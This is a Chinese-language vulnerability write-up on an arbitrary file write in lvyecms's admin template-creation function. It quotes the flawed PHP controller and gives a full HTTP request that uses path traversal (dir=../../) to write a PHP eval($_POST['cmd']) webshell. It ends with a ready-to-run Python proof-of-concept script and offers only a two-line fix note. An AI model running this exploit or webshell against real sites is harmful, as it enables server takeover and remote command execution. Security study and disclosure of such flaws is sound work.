lvyecms任意文件写入
lvyecms是基于thinkphp框架进行开发,且后台新建模板处未对写入内容进行过滤,且文件名后缀写死为php文件,导致了任意文件写入漏洞。
问题出在\lvyecms\Application\Template\Controller\StyleController.class.php
我们直接看这个add函数
//添加模板 public function add() { if (IS_POST) { //取得文件名 $file = pathinfo(I('post.file')); $file = $file['filename'] . C("TMPL_TEMPLATE_SUFFIX"); //模板内容 $content = \Input::getVar(I('post.content', '', '')); //目录 $dir = TEMPLATE_PATH . I('post.dir', '', ''); $dir = str_replace(array("//"), array("/"), $dir); //检查目录是否存在 if (!file_exists($dir)) { $this->error("该目录不存在!"); } //检查目录是否可写 if (!is_writable($dir)) { $this->error('目录 ' . $dir . ' 不可写!'); } //完整新增文件路径 $filepath = $dir . $file; if (file_exists($filepath)) { $this->error("该文件已经存在!"); } //写入文件 $status = file_put_contents($filepath, htmlspecialchars_decode(stripslashes($content))); if ($status) { $this->success("保存成功!", U("Template/Style/index")); } else { $this->error("保存失败,请检查模板文件权限是否设置为可写!"); } } else { //取得目录路径 $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\', '.',), '', trim(urldecode($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); if (!file_exists(TEMPLATE_PATH . $dir)) { $this->error('该目录不存在!'); } $this->assign('dir', $dir); $this->display(); } }
这里可以很清楚的看到,他分别获取了文件名、文件路径以及文件内容。然后对文件名以及路径进行拼接,最后将内容写入到文件中。可以看到这个位置,没有对我们写入的值进行任何过滤,那么我们可以对路径以及文件内容进行修改,导致写入../../../文件的马。
复现
在功能处添加文件
抓到这个包,可以看到这个dir参数我们是可控,这里我们直接../../回溯到根目录,这里给空参数的话,我们是没有执行权限的。
POST /lvyecms/index.php?g=Template&m=Style&a=add HTTP/1.1 Host: 192.168.0.105 Content-Length: 72 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.105 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.105/lvyecms/index.php?g=Template&m=Style&a=add&dir= Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=h40bdv4mpeugub5r70tp1l6691; menuid=92 Connection: close dir=../../&file=test&content=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3E
可以看到这个木马已经被我们写入
测试连接
修复方式:
过滤../字符
对文件内容进行检索过滤
poc
#江楠风景好 import requests import argparse parser = argparse.ArgumentParser() parser.add_argument('-u') args = parser.parse_args() def POST_data(url): url1 = url + '?g=Template&m=Style&a=add' with open('test.txt','r') as f: file = f.read() headers = { 'Content-Length': '78', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36', 'Accep': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Cookie': 'PHPSESSID=bcqgtgs0v57nseivd3kl7cbpt7; menuid=92', 'Connection': 'close' } data = {'dir': '../../', 'file': 'emoji', 'content': file} r = requests.post(url=url1,data=data,headers=headers) print(r) POST_data(args.u)
每天都是经验+1+1的一天